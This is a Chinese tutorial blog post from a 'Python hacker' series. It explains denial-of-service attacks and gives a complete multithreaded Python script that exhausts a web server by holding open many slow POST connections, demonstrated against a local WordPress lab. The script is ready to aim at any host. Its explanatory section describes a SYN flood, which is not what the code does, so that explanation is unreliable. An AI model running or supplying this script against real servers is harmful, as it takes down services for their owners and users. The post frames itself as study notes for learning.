Python黑客攻防(十六)编写Dos脚本,进行简单攻击演示

注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途。转载须标明出处。
欢迎关注微信公众号:黑客帮 获取更多干货。

Dos攻击简介


DOS:中文名称是拒绝服务,一切能引起DOS行为的攻击都被称为DOS攻击。该攻击的效果是使得计算机或网络无法提供正常的服务。常见的DOS攻击有针对计算机网络带宽和连通性的攻击。DOS是单机于单机之间的攻击。

Dos攻击原理


首先攻击者向被攻击的服务器发送大量的虚假IP请求,被攻击者在收到请求后返回确认信息,等待攻击者进行确认,(此处需要拥有HTTP协议工作方式和TCP三次握手的基本知识)该过程需要TCP的三次握手,由于攻击者发送的请求信息是虚假的,所以服务器接收不到返回的确认信息,在一段时间内服务器会处与等待状态,而分配给这次请求的资源却被有被释放。当被攻击者等待一定的时间后,会因连接超时而断开,这时攻击者再次发送新的虚假信息请求,这样最终服务器资源被耗尽,直到瘫痪。

代码

import socket
import time
import threading

MAX_CONN = 200000  # 最大连接数
PORT = 80
HOST = "127.0.0.1"  # 目标IP或域名.
PAGE = "/index.php"  # 目标页面

buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"  # 实体数据大小
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

socks = []

def conn_thread():
    global socks
    for i in range(0, MAX_CONN):  # MAX_CONN允许最大连接数
        # AF_INET 表示 IPv4 地址,创建 TCP套接字,必须使用 SOCK_STREAM 作为套接字类型
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(buf.encode())
            print("[+] 成功发送buf!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print("[-] 无法连接服务器或发送错误:%s" % ex)
            time.sleep(1)  # 暂停1秒

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
            except Exception as ex:
                print("[-] 发送异常:%s\n" % ex)
                socks.remove(s)
                s.close()
        time.sleep(1)


# 建立多线程
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
# 开启线程
conn_th.start()
send_th.start()

conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()
send_th2.start()

DOS攻击演示


这里演示的是攻击上次搭建的靶机-> Python黑客攻防(四)搭建测试环境,攻击机是Windows10本机,靶机也是搭建在Windows10上的WordPress。。
在这里插入图片描述

先访问一下http://127.0.0.1/wp-login.php,记录一下攻击前的状态。
在这里插入图片描述

然后开始攻击。
在这里插入图片描述

再次访问http://127.0.0.1/wp-login.php,查看效果。

在这里插入图片描述

OK,演示结束。自己搭建的这种靶机服务器坚持不了几秒就凉了。

总结


以上就是简单的Dos攻击了,当然这种攻击对许多强大的服务器是没有多大影响的。还有更厉害的DDOS攻击(分布式拒绝服务攻击),DDOS是攻击者控制多台主机同时向同一主机或网络发起DOS攻击。

微信公众号:黑客帮
在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值